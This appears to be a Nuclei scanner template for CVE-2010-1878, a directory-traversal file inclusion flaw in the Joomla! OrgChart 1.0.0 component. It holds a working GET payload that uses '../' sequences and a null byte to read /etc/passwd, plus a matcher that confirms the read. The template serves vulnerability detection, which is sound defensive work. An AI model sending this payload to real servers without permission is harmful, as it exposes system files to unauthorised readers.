id: CVE-2010-1878

info:
  name: Joomla! Component OrgChart 1.0.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the OrgChart (com_orgchart) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Apply the latest patch or upgrade to a newer version of the Joomla! Component OrgChart to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12317
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1878
    - http://packetstormsecurity.org/1004-exploits/joomlaorgchart-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58031
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1878
    cwe-id: CWE-22
    epss-score: 0.02693
    epss-percentile: 0.86069
    cpe: cpe:2.3:a:blueflyingfish.no-ip:com_orgchart:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: blueflyingfish.no-ip
    product: com_orgchart
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,blueflyingfish.no-ip,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c4c433940cc3850fb7e42cadb14b2e9a4087461206b4c37d09b3bf55866e44bc02204ffbe129094bf14c2315ba6c4e0f8f1c2e2fb5c900de6d35c582311fb107038e:922c64590222798bb761d5b6d8e72950